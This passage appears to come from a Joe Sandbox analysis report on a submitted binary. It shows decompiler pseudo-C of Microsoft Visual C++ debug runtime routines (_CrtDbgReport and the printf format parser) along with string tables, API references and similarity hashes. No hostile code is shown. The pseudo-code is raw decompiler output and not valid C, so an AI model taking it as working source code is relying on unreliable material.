				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041FA00(E00421E40(_t48, _t54, _t62, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E004317A0(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E00423C30(0x16);
					E00423670(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E004242B0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00428727
0x00428741
0x0042874f
0x00428743
0x00428743
0x00428743
0x0042875f
0x00428766
0x0042876d
0x00428774
0x0042877b
0x00428782
0x00428789
0x00428790
0x00428797
0x0042879e
0x004287a5
0x004287a9
0x004287aa
0x004287c4
0x004287cb
0x004287d0
0x004287d3
0x004287da
0x004287fb
0x004287fe
0x00428803
0x00428803
0x00428806
0x0042880b
0x00428811
0x00428817
0x00428839
0x00428849
0x0042884e
0x0042884e
0x0042886a
0x00428877
0x0042887b
0x00428885
0x00428885
0x00428891
0x0042889a
0x00428893
0x00428893
0x00428893
0x004288a9

APIs

__snwprintf_s.LIBCMTD ref: 004287CB
__invoke_watson_if_oneof.LIBCMTD ref: 004287FE
__invoke_watson_if_error.LIBCMTD ref: 00428849
___crtMessageBoxW.LIBCMTD ref: 00428862
_raise.LIBCMTD ref: 0042887B

Strings

..., xrefs: 00428727, 0042879E
Module: , xrefs: 00428743
Microsoft Visual C++ Debug Library, xrefs: 00428856
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 004287E3, 00428820
_CrtDbgReport: String too long or IO Error, xrefs: 0042882F
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042882A
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 004287B5
(*_errno()), xrefs: 004287ED
__crtMessageWindowA, xrefs: 004287E8, 00428825

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1377985295-2339404796
Opcode ID: 98fb775066b62ffd638426270fb51265689d6f44b58ace77ee5c0938084e07da
Instruction ID: f3ff1e8a5e850564a98493487fb521802bbab2c981831214fc3f40adae498001
Opcode Fuzzy Hash: 98fb775066b62ffd638426270fb51265689d6f44b58ace77ee5c0938084e07da
Instruction Fuzzy Hash: 8E31C7B5B40228ABDB24EA51DC06FDE73B46B48744F5041EEF30C762C1D6785A818F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FFB5, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042FFB5(void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t495 = E00420C00(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E00430BA0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00430BE0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00430BA0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00430BE0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00436BC0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00430BE0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00430BA0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041D8B0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) + 0x4065b0) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x4065d0) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x4065d0) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M004309F0))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E0042F050( *(_t623 - 0x251) & 0x000000ff, E0041EA40(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00430B00( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00430B00( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041F590();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L0041F530(_t571))) = 0x16;
													E0041F2C0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041EA10(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x430a28; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00430A10))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x430a50; // 0x25e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00430A3C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x430abc; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00430A80))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041CB30(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041EA40(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x43de88; // 0xfb3c7abe
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43de94; // 0xfb3c7abe
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x43de90; // 0xfb3c7abe
																	E00427990(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00420C00(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E0042F030(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00436BC0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00420C00(__ebp + 0x14);
													__eax = E0042F010();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041F590();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
